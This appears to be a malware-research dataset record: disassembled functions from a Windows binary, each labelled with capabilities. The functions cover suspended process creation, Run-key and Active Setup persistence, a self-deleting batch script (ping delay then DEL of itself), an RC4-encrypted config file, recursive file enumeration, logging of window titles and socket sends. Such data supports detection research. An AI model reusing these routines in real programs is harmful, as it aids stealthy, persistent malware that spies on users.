joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c0e4
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x9c
mov ebx, dword [ebp + 0xc]
mov dword [esp], ebx
call fcn.00404a4e
test al, al
je 0x40c1c8
mov dword [esp], ebx
call fcn.0040536b
test al, al
je 0x40c1c8
lea esi, [ebp - 0x5c]
mov dword [esp + 8], 0x44
lea edi, [ebp - 0x6c]
mov dword [esp + 4], 0
mov dword [esp], esi
call fcn.0040b1ee
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], edi
call fcn.0040b1ee
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
test eax, eax
je 0x40c1c8
call fcn.0040c5b8
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403b94
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sub.KERNEL32.dll_ResumeThread
dec eax
push edx
jne 0x40c1c3
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
call fcn.0040c577
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 8
mov dword [esp], eax
call fcn.00403f73
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40c27a
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push ebp
mov eax, 0x153c
push edi
push esi
push ebx
call fcn.004128fc
sub esp, eax
lea ebx, [esp + 0x24]
mov dword [esp], ebx
lea edi, [esp + 0x530]
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
call fcn.0040b1ee
mov dword [esp + 4], 0xa
mov dword [esp], 6
call fcn.0040f9a9
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040fa0f
mov dword [esp], str.TEMP
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], ebx
lea ebx, [esp + 0x128]
mov dword [esp + 8], str._s_s.bat
mov dword [esp + 4], 0x204
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call fcn.0040afa3
mov eax, dword [esp + 0x1550]
mov dword [esp + 8], str._echo_off_r_nping_192.0.2.2__n_1__w__d__nul_2_1_r_nDEL__s___s___nul_2_1_r_ncall_:deleteSelfexit__b_r_n:deleteSelf_r_nstart__b____cmd__c_del____f0_exit__b_r_n
mov dword [esp + 4], 0x1000
mov dword [esp], edi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1554]
mov dword [esp + 0xc], eax
call fcn.0040afa3
cmp eax, 0x95
mov ebp, eax
jg 0x40c33e
xor eax, eax
jmp 0x40c3c1
mov dword [esp + 4], 0x4144ef
mov dword [esp], ebx
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x40c337
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], 1
mov dword [esp], edi
call sub.msvcrt.dll_fwrite
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov dword [esp], str.ComSpec
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], ebx
lea ebx, [esp + 0x32c]
mov dword [esp + 8], str._s__c___s_
mov dword [esp + 4], 0x204
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call fcn.0040afa3
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.0040491c
mov al, 1
add esp, 0x153c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40c46d
Capabilities:
Persist via run registry key

Disassembly:
push ebx
sub esp, 0x538
mov dword [esp], 8
call fcn.0040c25c
test al, al
je 0x40c4a0
mov dword [esp + 8], 0x41337c
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov dword [esp], 0x80000001
call fcn.004109e0
mov dword [esp], 0x10
call fcn.0040c25c
test al, al
je 0x40c4cc
mov dword [esp + 8], 0x413354
mov dword [esp + 4], str.SOFTWAREMicrosoftActive_SetupInstalled_Components
mov dword [esp], 0x80000002
call fcn.00410a45
mov dword [esp], 4
call fcn.0040c25c
test al, al
je 0x40c4ed
mov eax, dword [0x4182bc]
test eax, eax
je 0x40c4ed
mov dword [esp], eax
call sub.msvcrt.dll_fclose
lea ebx, [esp + 0x128]
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004051fb
test al, al
je 0x40c56f
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x24]
mov dword [esp + 0x10], str..Identifier
mov dword [esp + 8], 0x414578
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call fcn.0040afa3
mov dword [esp], ebx
call fcn.00404a4e
test al, al
je 0x40c544
mov dword [esp], ebx
call fcn.004049ec
lea ebx, [esp + 0x32c]
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004051a9
test al, al
je 0x40c56f
mov dword [esp + 4], 0xbb8
mov dword [esp], ebx
call fcn.0040c27a
add esp, 0x538
pop ebx
ret

Function at 0x40c577
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 8], 0x413414
mov dword [esp + 4], 1
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
mov dl, 1
sub esp, 0xc
test eax, eax
mov dword [0x4132c0], eax
je 0x40c5b4
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
setne dl
mov al, dl
leave
ret
Function at 0x40c941
Capabilities:
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4ac
mov ebx, dword [ebp + 8]
mov dword [esp + 8], 0x44
lea esi, [ebp - 0x21c]
mov dword [esp + 4], 0
mov dword [esp], ebx
call fcn.0040b1ee
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004051fb
test al, al
jne 0x40c989
xor ebx, ebx
jmp 0x40cbaa
mov dword [esp + 0xc], esi
lea esi, [ebp - 0x428]
mov dword [esp + 0x10], str..Identifier
mov dword [esp + 8], 0x414578
mov dword [esp + 4], 0x104
mov dword [esp], esi
call fcn.0040afa3
mov dword [esp], esi
call fcn.00404a4e
test al, al
je 0x40c9c9
mov dword [esp + 4], 0x41457d
jmp 0x40c9d1
mov dword [esp + 4], 0x4144ef
mov dword [esp], esi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x40c982
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fread
cmp eax, 0x44
je 0x40ca55
lea eax, [ebp - 0x48c]
mov dword [esp + 8], 1
mov dword [esp + 4], 0x20
mov dword [esp], eax
call fcn.0040564e
mov dword [esp + 8], str.HostId_OuEmii
mov dword [esp + 4], str._Rand_
mov dword [esp], 0
call fcn.0040ade0
test eax, eax
js 0x40caa0
add eax, str.HostId_OuEmii
mov dword [esp + 4], 6
mov dword [esp], eax
call fcn.0040fa0f
jmp 0x40caa0
lea eax, [ebp - 0x324]
mov dword [esp], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4145d8
call fcn.0040f474
lea eax, [ebp - 0x324]
mov dword [esp + 8], 0x44
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0040f592
xor edx, edx
cmp dword [ebx], 0x61985734
je 0x40cb76
jmp 0x40ca00
lea eax, [ebx + 4]
mov dword [ebx], 0x61985734
mov dword [esp + 8], 0x20
mov dword [esp + 4], str.HostId_OuEmii
mov dword [esp], eax
call fcn.0040ad48
lea eax, [ebp - 0x48c]
mov dword [esp + 4], eax
lea eax, [ebx + 0x24]
mov dword [esp + 8], 0x20
mov dword [esp], eax
call fcn.0040ad48
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp], edi
call fcn.0040549d
lea eax, [ebp - 0x324]
mov dword [esp], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4145d8
call fcn.0040f474
lea edx, [ebp - 0x46c]
lea eax, [ebp - 0x324]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0x44
mov dword [esp + 8], 0x44
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [ebp - 0x49c], edx
call fcn.0040f4e2
mov edx, dword [ebp - 0x49c]
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x44
mov dword [esp + 4], 1
mov dword [esp], edx
call sub.msvcrt.dll_fwrite
cmp eax, 0x44
sete dl
mov dword [esp], edi
mov dword [ebp - 0x49c], edx
call sub.msvcrt.dll_fclose
mov dword [esp], esi
call fcn.00404a4e
mov edx, dword [ebp - 0x49c]
mov bl, dl
test al, al
je 0x40cbaa
mov dword [esp + 4], 6
mov dword [esp], esi
call sub.KERNEL32.dll_SetFileAttributesA
push ecx
push ecx
lea esp, [ebp - 0xc]
mov al, bl
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40cbb4
Capabilities:
Persist via active setup registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x83c
lea esi, [ebp - 0x828]
mov dword [esp + 4], 0x204
mov dword [esp], esi
call fcn.004051a9
test al, al
je 0x40ce4f
lea ebx, [ebp - 0x624]
mov dword [esp + 8], 0x204
mov dword [esp + 4], ebx
mov dword [esp], 0x413390
call fcn.0040b56d
mov dword [esp], 1
call fcn.0040c25c
test al, al
je 0x40ccd6
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.0040b055
test eax, eax
je 0x40ccd6
mov edi, 8
mov dword [esp], ebx
call fcn.004049ec
mov dword [esp], ebx
call fcn.00404a4e
test al, al
je 0x40cc49
mov dword [esp], 0x3e8
call fcn.004053d0
dec edi
jne 0x40cc29
mov dword [esp], ebx
call fcn.00405072
test al, al
je 0x40ccd6
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00404a9d
test al, al
je 0x40ccd6
mov dword [esp], 2
lea edi, [ebp - 0x21c]
call fcn.0040c25c
test al, al
je 0x40cc9c
mov dword [esp + 0xc], esi
mov dword [esp + 8], str._m___s_
mov dword [esp + 4], 0x204
mov dword [esp], edi
call fcn.0040afa3
jmp 0x40ccb4
mov dword [esp + 8], 0x204
mov dword [esp + 4], 0
mov dword [esp], edi
call fcn.0040b1ee
mov dword [esp], ebx
call fcn.00404a4e
test al, al
je 0x40ccd6
mov dword [esp + 8], 1
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.0040491c
jmp 0x40cd04
mov dword [esp], 2
call fcn.0040c25c
test al, al
je 0x40cceb
call fcn.0040c3cc
call fcn.0040c577
test al, al
jne 0x40cd10
mov dword [esp], 0x20
call fcn.0040c25c
test al, al
je 0x40cd10
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [esp], 8
call fcn.0040c25c
test al, al
je 0x40cd48
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0x41337c
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov dword [esp], 0x80000001
call fcn.0041086e
mov dword [esp], 0x10
call fcn.0040c25c
test al, al
je 0x40cdc4
lea ebx, [ebp - 0x420]
lea edi, [ebp - 0x21c]
mov dword [esp + 0xc], 0x413354
mov dword [esp + 8], str.SOFTWAREMicrosoftActive_SetupInstalled_Components_s
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.0040afa3
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x4145c8
mov dword [esp + 4], 0x204
mov dword [esp], edi
call fcn.0040afa3
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 1
mov dword [esp + 8], str.StubPath
mov dword [esp + 4], ebx
mov dword [esp], 0x80000002
call fcn.0041086e
mov dword [esp], 4
call fcn.0040c25c
test al, al
je 0x40cde9
mov dword [esp + 4], 0x41457d
mov dword [esp], esi
call sub.msvcrt.dll_fopen
mov dword [0x4182bc], eax
mov dword [esp], 0x40
call fcn.0040c25c
test al, al
je 0x40ce43
lea ebx, [ebp - 0x21c]
mov dword [esp + 8], 0x204
mov dword [esp + 4], ebx
mov dword [esp], 0x4132d0
call fcn.0040b56d
mov dword [esp + 8], 0x81
mov dword [esp + 4], ebx
mov dword [esp], 0x4132d0
call fcn.0040ad48
mov dword [esp + 4], 0
mov dword [esp], 0x410182
call fcn.004053e4
mov dword [esp], 0x4187d4
call fcn.0040c941
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40ce57
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x48c
lea ebx, [ebp - 0x21c]
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.004051fb
test al, al
mov esi, eax
je 0x40cfbd
mov dword [esp + 0xc], ebx
lea ebx, [ebp - 0x428]
mov dword [esp + 0x10], str..Identifier
mov dword [esp + 8], 0x414578
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call fcn.0040afa3
mov dword [esp], ebx
call fcn.00404a4e
test al, al
je 0x40cecb
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], ebx
call sub.KERNEL32.dll_SetFileAttributesA
push esi
push esi
mov dword [esp + 4], 0x4144ef
mov dword [esp], ebx
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x40cf9b
mov eax, dword [ebp + 8]
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea edi, [eax + 4]
mov dword [esp], edi
call fcn.0040b1ee
mov edx, dword [ebp + 0xc]
mov dword [esp], edi
lea edi, [ebp - 0x46c]
mov dword [esp + 8], 0x20
mov dword [esp + 4], edx
call fcn.0040ad48
lea eax, [ebp - 0x324]
mov dword [esp], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4145d8
mov dword [ebp - 0x47c], eax
call fcn.0040f474
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0x44
mov dword [esp + 8], 0x44
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x47c]
mov dword [esp], eax
call fcn.0040f4e2
mov dword [esp], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x44
mov dword [esp + 4], 1
call sub.msvcrt.dll_fwrite
mov dword [esp], esi
cmp eax, 0x44
sete al
mov edi, eax
call sub.msvcrt.dll_fclose
jmp 0x40cf9d
xor edi, edi
mov dword [esp], ebx
mov esi, edi
call fcn.00404a4e
test al, al
je 0x40cfbd
mov dword [esp], ebx
mov dword [esp + 4], 6
call sub.KERNEL32.dll_SetFileAttributesA
push ebx
push ebx
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40d054
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x78c
mov al, byte [ebp + 0x10]
mov dword [esp], 0x8003
mov esi, dword [ebp + 8]
mov byte [ebp - 0x76c], al
call sub.KERNEL32.dll_SetErrorMode
push ebx
lea ebx, [ebp - 0x420]
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x4145e8
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.0040afa3
inc eax
je 0x40d246
lea eax, [ebp - 0x764]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_FindFirstFileA
cmp eax, 0xffffffff
mov edi, eax
push ecx
push ecx
je 0x40d246
movzx eax, byte [ebp - 0x76c]
lea ebx, [ebp - 0x738]
mov dword [ebp - 0x76c], eax
mov dword [esp + 4], 0x4145ec
mov dword [esp], ebx
call fcn.0040b055
test eax, eax
je 0x40d20f
mov dword [esp + 4], 0x4145ee
mov dword [esp], ebx
call fcn.0040b055
test eax, eax
je 0x40d20f
mov eax, dword [ebp - 0x764]
test al, 0x10
je 0x40d1ad
lea edx, [ebp - 0x624]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._d:_s_s_
mov dword [esp + 4], 0x204
mov dword [esp], edx
mov dword [ebp - 0x770], edx
call fcn.0040afa3
cmp eax, 0xffffffff
je 0x40d160
mov dword [esp + 8], eax
mov edx, dword [ebp - 0x770]
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00411fcc
lea edx, [ebp - 0x21c]
mov dword [esp], edx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], esi
mov dword [esp + 8], str._s_s_
mov dword [esp + 4], 0x204
mov dword [ebp - 0x770], edx
call fcn.0040afa3
mov eax, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x770]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.0040d054
jmp 0x40d20f
mov edx, dword [ebp - 0x744]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], esi
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x748]
mov dword [esp + 8], str._d:_I64u:_s_s_
mov dword [esp + 4], 0x204
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x624]
mov dword [esp], edx
mov dword [ebp - 0x770], edx
call fcn.0040afa3
cmp eax, 0xffffffff
je 0x40d20f
mov dword [esp + 8], eax
mov edx, dword [ebp - 0x770]
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00411fcc
lea eax, [ebp - 0x764]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
push edx
push edx
je 0x40d23d
mov eax, dword [ebp - 0x76c]
mov dword [esp], eax
call fcn.0040cfde
test al, al
jne 0x40d0d4
mov dword [esp], edi
call sub.KERNEL32.dll_FindClose
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40d881
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov ebx, dword [esp + 0x34]
movzx eax, byte [ebx]
mov dword [esp], eax
mov edi, eax
mov byte [esp + 0x1f], al
call fcn.0040cfde
test al, al
je 0x40d8d8
mov eax, dword [esp + 0x38]
inc ebx
mov dword [esp + 4], 1
mov dword [esp], ebx
lea esi, [eax - 1]
mov eax, dword [edi*4 + 0x4182c0]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
cmp eax, esi
je 0x40d8fc
movzx eax, byte [esp + 0x1f]
mov dword [esp], eax
call fcn.0040cff8
lea eax, [esp + 0x1f]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0xc], 1
mov dword [esp + 4], 0x17
mov dword [esp], eax
call fcn.00403f73
add esp, 0x20
pop ebx
pop esi
pop edi
ret

Function at 0x40d9c2
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea ebx, [ebp - 0x14]
mov dword [esp], ebx
mov dword [esp + 4], 0x8000
call fcn.00411ee0
mov dword [esp + 4], ebx
mov dword [esp], 0x40d904
call sub.USER32.dll_EnumWindows
push ecx
push ecx
mov dword [esp], ebx
call fcn.004120b4
mov dword [esp + 4], 0x2b
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403f73
mov dword [esp], ebx
call fcn.00411f25
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x40de0a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov byte [ebp - 0xc], al
lea eax, [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
dec eax
sete al
leave
ret
Function at 0x40f4e2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x11c
mov eax, dword [esp + 0x134]
mov edi, dword [esp + 0x13c]
mov ebp, dword [esp + 0x130]
mov ebx, dword [esp + 0x138]
cmp edi, eax
je 0x40f525
cmp ebx, dword [esp + 0x140]
jg 0x40f584
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0040b2af
mov eax, dword [ebp]
xor edx, edx
mov esi, dword [ebp + 4]
mov cl, byte [ebp + edx + 8]
mov byte [esp + edx + 0x10], cl
inc edx
cmp edx, 0x100
jne 0x40f52d
mov dword [esp + 0xc], 0
cmp dword [esp + 0xc], ebx
jge 0x40f580
inc eax
movzx eax, al
mov cl, byte [esp + eax + 0x10]
add esi, ecx
mov edx, esi
movzx esi, dl
movzx ebp, byte [esp + esi + 0x10]
mov edx, ebp
mov byte [esp + eax + 0x10], dl
mov edx, dword [esp + 0xc]
mov byte [esp + esi + 0x10], cl
add ecx, ebp
movzx ecx, cl
mov cl, byte [esp + ecx + 0x10]
xor byte [edi + edx], cl
inc dword [esp + 0xc]
jmp 0x40f546
mov eax, ebx
jmp 0x40f587
or eax, 0xffffffff
add esp, 0x11c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40f644
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor eax, eax
push edi
or ecx, 0xffffffff
push esi
push ebx
sub esp, 0x20
mov edx, dword [esp + 0x34]
mov esi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov edi, edx
repne scasb al, byte es:[edi]
xor eax, eax
not ecx
lea ebp, [ecx - 1]
cmp eax, ebp
jge 0x40f67f
movzx ecx, byte [edx + eax]
mov edi, ecx
sar edi, 4
shl ecx, 4
or ecx, edi
mov byte [esp + eax], cl
inc eax
jmp 0x40f667
mov eax, ebp
cmp eax, 0x1f
jg 0x40f69b
movzx ecx, al
mov edx, ecx
sar edx, 5
shl ecx, 3
or edx, ecx
and edx, eax
mov byte [esp + eax], dl
inc eax
jmp 0x40f681
mov eax, ebp
mov ecx, ebp
sar eax, 2
xor cl, byte [esp + eax]
xor eax, eax
mov dl, byte [esi + eax]
xor dl, byte [esp + eax]
xor edx, ecx
movzx edi, dl
mov byte [ebx + eax], dl
lea ecx, [edx*4]
lea edx, [edi*8]
sar edi, 5
or edx, edi
lea edi, [eax + ebp]
xor edi, eax
xor cl, byte [esi + eax]
or edx, edi
mov byte [ebx + eax], dl
inc eax
cmp eax, 0x20
not ecx
jne 0x40f6a7
add esp, 0x20
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40fa98
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
cmp dword [0x413734], 0
mov dword [ebp - 0x2c], ecx
jne 0x40fc4a
mov esi, eax
mov ebx, edx
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
movzx eax, word [ebp - 0x12]
cmp dword [0x4186bc], eax
push ecx
mov ecx, dword [ebp - 0x2c]
je 0x40fb2f
test cl, cl
jne 0x40fb33
movzx edx, word [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x4132d0
mov dword [esp + 8], 0x414658
mov dword [esp + 0x18], edx
movzx edx, word [ebp - 0x16]
mov dword [esp + 4], 0x104
mov dword [esp], 0x4186c0
mov dword [0x4186bc], eax
mov dword [esp + 0x14], edx
call fcn.0040afa3
mov eax, dword [0x413730]
cmp eax, 0xffffffff
je 0x40fb23
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push edx
mov dword [0x413730], 0xffffffff
jmp 0x40fb66
test cl, cl
je 0x40fb66
mov eax, dword [0x413730]
cmp eax, 0xffffffff
je 0x40fb46
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push eax
mov dword [esp], 0x4186c0
call fcn.004049ec
mov dword [0x413730], 0xffffffff
mov dword [0x4187c4], 0
cmp dword [0x413730], 0xffffffff
jne 0x40fc11
mov dword [esp], 0x4132d0
mov dword [0x4187c4], 0
call fcn.00404a77
test al, al
jne 0x40fb99
mov dword [esp], 0x4132d0
call fcn.00405072
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x40000000
mov dword [esp], 0x4186c0
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
cmp eax, 0xffffffff
mov dword [0x413730], eax
jne 0x40fbee
mov dword [0x413734], 1
jmp 0x40fc4f
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_SetFilePointer
sub esp, 0x10
test ebx, ebx
jle 0x40fc4f
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.0040fa7c
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [0x413730]
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
jmp 0x40fc51
or eax, 0xffffffff
jmp 0x40fc51
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x40fc58
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x544
call sub.USER32.dll_GetForegroundWindow
cmp dword [0x4187c4], eax
je 0x40fd1c
mov dword [0x4187c4], eax
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
mov eax, dword [0x4187c4]
push ebx
lea ebx, [ebp - 0x508]
mov dword [esp + 8], 0x100
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.USER32.dll_GetWindowTextA
sub esp, 0xc
test eax, eax
je 0x40fd1c
movzx eax, word [ebp - 0x50c]
mov dword [esp + 0xc], ebx
lea ebx, [ebp - 0x408]
mov dword [esp + 8], str._r_n_r_n__s______.2d__.2d__d__.2d:_.2d:_.2d__r_n
mov dword [esp + 4], 0x400
mov dword [esp + 0x24], eax
movzx eax, word [ebp - 0x50e]
mov dword [esp], ebx
mov dword [esp + 0x20], eax
movzx eax, word [ebp - 0x510]
mov dword [esp + 0x1c], eax
movzx eax, word [ebp - 0x518]
mov dword [esp + 0x18], eax
movzx eax, word [ebp - 0x516]
mov dword [esp + 0x14], eax
movzx eax, word [ebp - 0x512]
mov dword [esp + 0x10], eax
call fcn.0040afa3
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.0040fa98
mov ebx, dword [ebp - 4]
leave
ret